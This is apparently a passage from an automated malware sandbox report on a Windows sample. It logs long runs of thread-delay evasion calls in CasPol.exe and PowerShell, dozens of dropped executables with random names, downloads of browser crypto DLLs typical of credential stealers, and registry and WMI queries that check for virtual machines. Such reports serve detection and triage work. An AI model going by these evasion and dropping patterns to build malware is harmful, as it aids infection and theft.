            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591560Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591375Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591249Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 591094Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590957Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590828Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590208Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 590047Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589937Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589803Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589656Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589516Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589390Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589248Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 589094Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588780Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588653Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 588413Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 587734Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 586219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585938Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585576Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 585344Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584969Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584750Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584297Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 584047Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583813Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 583172Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582906Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582596Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582422Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 582188Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581953Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581321Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 581128Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580875Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580578Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 580188Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579906Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579764Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579406Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 579044Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578563Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578338Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 578031Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577763Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577521Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 577154Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576469Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 576109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575781Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575500Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 575063Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574807Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574547Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 574217Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573899Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573678Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 573078Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 572563Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 572187Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 571719Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 571317Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 568628Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 568222Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 567753Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 567200Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 566887Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 566361Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 565720Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 565173Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 564829Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 564431Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 563642Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 563017Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 562501Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 561486Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 561133Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 560704Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 560389Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 559830Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 559142Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 558689Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 558220Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 557329Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 556421Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 554874Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 553561Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 551613Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 549926Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 548660Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 547398Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 545719Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 543459Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 541676Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 539573Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 535870Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 533120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 531120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 529432Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 527057Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 525792Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 525120Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 523729Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 522526Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 521198Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 512881Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 508316Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 504441Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 500176Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 496369Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 495879Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 494660Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 492910Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 490707Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 489629Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 488301Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 485957Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 484097Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 482535Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 480863Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 479613Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 478207Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4274Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4808Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 3526Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow / User API: threadDelayed 3886Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1408
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeWindow / User API: threadDelayed 352
            Source: C:\Users\user\AppData\Local\Temp\7zSD456.tmp\Install.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\TYAlD9K38T8WbNsaQQTkm89X.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\xin[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\r1O81gOTKkD0PfSdUigHGcl2.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Opera_105.0.4970.16_Autoupdate_x64[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\ProgramData\mozglue.dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\dGDzhUFIRKv6GPXQTIFzAmvz.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\setup294[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\ikxtQFXRCEfEHQTLmAUzD8qT.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\home[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\mozglue[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\msvcp140[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\timeSync[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\ProgramData\softokn3.dllJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\ProgramData\nss3.dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\NMVWvUSYQ5v8UtFVuNmXDI3v.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\99Xilbvd4jSilvCMPk8Sud3T.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\tuwxsmmkPgY2E0qU41YG7RXX.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\mVd8JjiAeizZqfVE2Y07H3YG.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\NrSR7wL9a6ScJhHM3ZR1vnHv.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\YGRs52NUZm6ZTeu1K4eZCg73.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\ProgramData\freebl3.dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\l2VGlkyVE7xUJ5Ydz5l8CsC0.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\8TF9AtsMAWKytLiZaNJGNowl.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\k0pYXiEKtAOcp0Nk17UQ5_g3.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\kvNC7tDmYUgdIYLH90ijrXsg.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\RRe1rhCZ16opf2KOV6fOjlXA.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\AwrGvSh0VNKMWo4lmCJZrqGt.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\LIMPKWkTxHbhz8UQouDq3EgS.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\a00oNFnYUapr4qcZYFTTBItp.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\eahQfcDSk2Fi3XgQUppzGpDN.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\ProgramData\msvcp140.dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\build[1].exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\sqlite3[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\jf03kWzRd1Y8NYHdcHEpAddx.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\TcGLfdTBaos9JgPXgH8pOdVr.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\Service_32[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\O1pHCqcpXPsB2X19IwAi5F3Z.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\ohQpGh89_DKtYLyMVbmJ3Rtn.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\eoK_HtB8HzOnJQBreBydnt5f.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\6CYB0iVk9rownSr74i6xHL6G.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\freebl3[1].dllJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\0V9EbnB8e6ebVrU36pWfpYPt.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\0NiGzKSTtDzAUZOkgD66xsNo.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\softokn3[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\LuhjrDkHbg5EV9gJjZgRzNRC.exeJump to dropped file
            Source: C:\Users\user\Pictures\BXuFYgf6xs2uEKGHPQsSTe25.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\nss3[1].dllJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\gfhvq0lCOSbYQVB1nKgfu6Hp.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\36b88b89v[1].exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\674Kdwx0QZ5HYr8oith6hwyE.exeJump to dropped file
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeDropped PE file which has not been started: C:\Users\user\Pictures\4hEl5UUyWTEkI93Zbzcn8KjL.exeJump to dropped file
            Source: C:\Users\user\Pictures\DU9aZfxw1xhKC4ykOgcxwHTl.exeDropped PE file which has not been started: C:\Users\user\Pictures\Minor Policy\oImNnZUwq_S8lQXQ3JQ8PWfa.exeJump to dropped file
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeRegistry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
            Source: C:\Users\user\Pictures\yYAwgDWrkYJyyOGvYzyiJrxu.exeRegistry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
            Source: C:\Users\user\Desktop\file.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 922337203685477Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 600000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599781Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599672Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599562Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599453Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599344Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599219Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599109Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 599000Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598891Jump to behavior
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeThread delayed: delay time: 598781Jump to behavior
